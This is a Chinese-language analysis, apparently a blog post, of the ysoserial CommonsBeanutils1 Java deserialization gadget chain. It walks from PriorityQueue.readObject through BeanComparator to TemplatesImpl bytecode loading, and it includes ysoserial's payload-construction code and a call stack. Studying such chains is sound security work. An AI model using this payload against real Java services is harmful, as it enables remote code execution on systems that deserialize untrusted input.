前半段

前半段主要使用的类是 PriorityQueue
看看PriorityQueue的readObject方法

private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in "proper order", but the
        // spec has never explained what that might be.
        heapify();
}

进入heapify 方法
81A37A731E224D91B9C6E3EFB93EEF6D.png

跟进
F41ED41DD11E4B29B0AE04DB5B681D72.png
如果 comparator不为空 就进入siftDownUsingComparator方法
跟进
4DFB5F7F17964ADF92EF7FC5A0B0217C.png
可以看到调用了comprator 的compare方法。
前半段分析结束。

后半段

后半段为漏洞的触发点
org.apache.commons.beanutils.BeanComparator
F514B9D205334181B76A77ADCCD0EFD8.png
他继承了Comparator
看一下它的compare方法
59600047559D430DA17CDCE82DADEC97.png
如果this.property不为空
就调用

Object value1 = PropertyUtils.getProperty(o1, this.property);

o1 与this.property 都是可以控制的,
而PropertyUtils.getProperty方法的作用是,调用o1中指定的get方法,如果this.property 为data,那么便会调用o1的getdata方法。
从这里来看,与fastjson的调用十分相似,所以fastjson的链在这里都可以被使用。
ysoserial使用的是TemplatesImpl的getOutputProperties方法

进入看一下:
DD83E620C83C4456863153BEF54A3E28.png

跟进一下TransformerImpl
B918CBED5358467EA45E474501185FE8.png
跟进下getTransletInstance方法
发现
D66E381A50DD4A7AAE28B40308B5EEBD.png
如果_class 为空就加载class
A336E9A8A04946929DEC0B33AFB44964.png
class是根据传入的_bytecodes 生成的
8FDD46EF11314E6D99E91B8FCB66434C.png
最后生成class后再将其实例化,要知道一个类中static{} 中的内容是可以在实例化的时候被运行的,所以这里等于可以执行任意代码。

构建payload

public Object getObject(final String command) throws Exception {
		final Object templates = Gadgets.createTemplatesImpl(command);
		// mock method name until armed
		final BeanComparator comparator = new BeanComparator("lowestSetBit");

		// create queue with numbers and basic comparator
		final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
		// stub data for replacement later
		queue.add(new BigInteger("1"));
		queue.add(new BigInteger("1"));

		// switch method called by comparator
		Reflections.setFieldValue(comparator, "property", "outputProperties");

		// switch contents of queue
		final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
		queueArray[0] = templates;
		queueArray[1] = templates;

		return queue;
	}

templates = Gadgets.createTemplatesImpl(command)
这个是ysoserial自己的工具类,作用就是生成一个构造好的TemplatesImpl类,command为执行的命令。
再创建一个BeanComparator类
然后创建PriorityQueue,大小为2 比较器为BeanComparator,可能好奇为什么大小为2,因为小于2将不会进入heapify中的siftDown方法
A909FCED9E7D4D5DAD2108078052EA21.png

Reflecions.setFieldValue 也是ysoserial中的工具类,作用是反射设置类中的变量,这里将property,设置为outputProperties,目的是调用getOutputProperties,再反射将PriorityQueue的值换位templates。这样,反序列化时便会调用templates的getOutputProperties方法,从而达到RCE的效果

调用栈

getProperty:290, PropertyUtils (org.apache.commons.beanutils)
compare:150, BeanComparator (org.apache.commons.beanutils)
siftDownUsingComparator:722, PriorityQueue (java.util)
siftDown:688, PriorityQueue (java.util)
heapify:737, PriorityQueue (java.util)
readObject:797, PriorityQueue (java.util)

总结

1、PriorityQueue 的redeObject 在PriorityQueue大小大于1的情况下会调用Comparator器的compare方法。
2、BeanComparator的compare会调用传入 bean类的指定get方法,bean类为PriorityQueue中的值,方法名为自身变量property的值,可以被直接设置。
3、有get方法可利用的类都可以使用这条链作为载体。ysoserial使用的是TemplatesImpl